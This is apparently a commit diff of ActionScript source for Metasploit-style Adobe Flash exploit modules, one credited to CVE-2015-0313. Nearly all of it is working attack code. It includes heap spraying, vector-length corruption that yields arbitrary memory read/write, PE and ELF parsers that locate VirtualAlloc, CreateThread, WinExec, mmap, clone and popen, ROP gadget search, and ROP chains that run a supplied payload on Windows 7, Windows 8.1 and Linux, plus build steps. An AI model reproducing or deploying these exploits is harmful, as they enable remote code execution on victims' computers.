// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/flash-cve-2015-0313-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.LoaderInfo
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var worker:Worker
private var mc:MessageChannel
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String = ""
public function Main()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<Object>(1014)
ov[i][0] = ba
ov[i][1] = this
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
ba.clear()
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
ov[0][0] = ov[0][0x403] - 0x18 - 0x1000
ba.length = 0x500000
var buffer:uint = vector_read(vector_read(ov[0][0x408] - 1 + 0x40) + 8) + 0x100000
var main:uint = ov[0][0x409] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 8)
vector_write(vector_read(ov[0][0x408] - 1 + 0x40) + 16, 0xffffffff)
mc.send(ov[0][0].toString() + "/" + buffer.toString() + "/" + main.toString() + "/" + vtable.toString())
}
private function onMessage(e:Event):void
{
casi32(0, 1022, 0xFFFFFFFF)
if (ba.length != 0xffffffff) mc.receive()
else {
ba.endian = "littleEndian"
var data:Array = (mc.receive() as String).split("/")
byte_write(parseInt(data[0]))
var buffer:uint = parseInt(data[1]) as uint
var main:uint = parseInt(data[2]) as uint
var vtable:uint = parseInt(data[3]) as uint
var flash:uint = base(vtable)
var ieshims:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", ieshims)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
//CoE
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer+0x200, payload);
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x100)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x200)
byte_write(0)
byte_write(main, buffer + 0x20000)
toString()
}
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > ov[0][0] ? ov[0][(addr - uv[0]) / 4 - 2] = value : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > ov[0][0] ? ov[0][(addr - ov[0][0]) / 4 - 2] : ov[0][0xffffffff - (ov[0][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else ba.writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
ba.position = addr + entry
if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
ba.position = addr + entry
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -28,33 +28,38 @@ package
private var interval_id:uint
private var trigger_swf:String
private var b64:Base64Decoder = new Base64Decoder()
private var payload:String
private var payload:ByteArray
private var platform:String
private var os:String
private var original_length:uint = 0
public function Exploit()
{
var i:uint = 0
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray().toString()
payload = b64.toByteArray()
if (platform == 'win') {
original_length = 0x1e
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1014)
spray[i][0] = 0xdeadbeef
spray[i][1] = 0xdeedbeef
spray[i][2] = i
spray[i][29] = 0x1a1e1429
spray[i][29] = 0x14951429
}
for(i = 0; i < 89698; i = i + 1) {
spray[i].length = 0x1e
}
} else if (platform == 'linux') {
} else if (platform == 'linux') {
original_length = 1022
for (i = 0; i < 89698; i = i + 1) {
spray[i] = new Vector.<uint>(1022)
spray[i][0] = 0xdeadbeef
@ -97,9 +102,11 @@ package
for(var i:uint = 0; i < spray.length; i = i + 1) {
if (spray[i].length != 1022 && spray[i].length != 0x1e) {
Logger.log('[*] Exploit - Found corrupted vector at ' + i + ' with length 0x' + spray[i].length.toString(16))
spray[i][0x3ffffffe] = 0xffffffff
spray[i][0x3fffffff] = spray[i][1023]
uv = spray[i]
spray[i][1022] = 0xffffffff
spray[i + 1][0x3ffffbff] = spray[i][1023]
spray[i + 1][0x3ffffbfe] = original_length
uv = spray[i + 1]
break
}
}
@ -113,8 +120,9 @@ package
return
}
exploiter = new Exploiter(this, platform, payload, uv)
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

View File

@ -31,7 +31,6 @@ package
public function lets_ready():void
{
Logger.log("[*] ExploitByteArray - lets_ready()")
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
@ -40,7 +39,6 @@ package
public function is_ready():Boolean
{
Logger.log("[*] ExploitByteArray - is_ready() - 0x" + ba.length.toString(16))
if (ba.length == 0xffffffff)
return true
@ -72,10 +70,15 @@ package
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}

View File

@ -9,8 +9,9 @@ package
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:String
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
@ -25,11 +26,12 @@ package
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, p: String, uv:Vector.<uint>):void
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
@ -133,12 +135,19 @@ package
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux")
if (platform == "linux") {
do_rop_linux()
else if (platform == "win")
do_rop_windows()
else
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
@ -147,11 +156,15 @@ package
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var winexec:uint = pe.procedure("WinExec", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
@ -169,16 +182,101 @@ package
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, winexec)
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// WinExec
eba.write(0, buffer + 0x10)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
@ -192,6 +290,8 @@ package
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
@ -204,9 +304,21 @@ package
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 8, 'r', true) // type
eba.write(payload_address + 0xc, payload, true) // command
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
@ -221,13 +333,49 @@ package
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to popen()
eba.write(stack_address + 0x18068, popen)
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// popen() argument
eba.write(0, payload_address + 0xc)
eba.write(0, payload_address + 8)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')

View File

@ -11,7 +11,6 @@ package
public function base(addr:uint):uint
{
Logger.log("[*] PE - base(): searching base for 0x" + addr.toString(16))
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
@ -54,10 +53,20 @@ package
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (eba.read(addr + i) & hint)) break
return addr + i
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -4,7 +4,7 @@ class Main
{
public static function main(swfRoot:MovieClip):Void
{
var _loc2_ = _global.ASnative(2100, 0x1a1e2000);
var _loc2_ = _global.ASnative(2100, 0x14950000);
var _loc3_ = new Object();
_loc2_.__proto__ = _loc3_;
_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor

View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,123 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Be support to support 16.0 as target-player (flex-config.xml).
// 3. Download the Flex SDK (4.6)
// 4. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 5. Build with: mxmlc -o msf.swf Msf.as
// Original code by @hdarwin89 modified to be used from msf
// https://git.hacklab.kr/snippets/13
// http://pastebin.com/Wj3NViUu
package
{
import flash.display.Sprite
import flash.events.Event
import flash.utils.ByteArray
import flash.system.Worker
import flash.system.WorkerDomain
import flash.system.MessageChannel
import flash.system.ApplicationDomain
import avm2.intrinsics.memory.casi32
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var ov:Vector.<Object> = new Vector.<Object>(25600)
private var uv:Vector.<uint> = new Vector.<uint>
private var ba:ByteArray = new ByteArray()
private var b64:Base64Decoder = new Base64Decoder()
private var worker:Worker
private var mc:MessageChannel
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit()
{
if (Worker.current.isPrimordial) mainThread()
else workerThread()
}
private function mainThread():void
{
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
ba.length = 0x1000
ba.shareable = true
for (var i:uint = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1014)
ov[i][0] = 0xdeedbeef
}
for (i = 0; i < ov.length; i += 2) delete(ov[i])
worker = WorkerDomain.current.createWorker(this.loaderInfo.bytes)
mc = worker.createMessageChannel(Worker.current)
mc.addEventListener(Event.CHANNEL_MESSAGE, onMessage)
worker.setSharedProperty("mc", mc)
worker.setSharedProperty("ba", ba)
ApplicationDomain.currentDomain.domainMemory = ba
worker.start()
}
private function workerThread():void
{
var ba:ByteArray = Worker.current.getSharedProperty("ba")
var mc:MessageChannel = Worker.current.getSharedProperty("mc")
var tmp:ByteArray = new ByteArray()
tmp.length = 0x2000
for (var i:uint = 0; i < 20; i++) {
new Vector.<uint>(1022)
}
ba.writeBytes(tmp)
ov[0] = new Vector.<uint>(1022)
mc.send("")
while (mc.messageAvailable);
for (i = 0;; i++) {
if (ov[0][i] == 1014 && ov[0][i + 2] == 0xdeedbeef) {
ov[0][i] = 0xffffffff
break
}
}
ov[0][0xfffffffe] = 1014
mc.send("")
}
private function onMessage(e:Event):void
{
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
if (mod == 1022) mc.receive()
else {
for (var i:uint = 0; i < ov.length; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
} else {
if (ov[i] != null) {
delete(ov[i])
ov[i] = null
}
}
}
if (uv == null) {
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
return
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
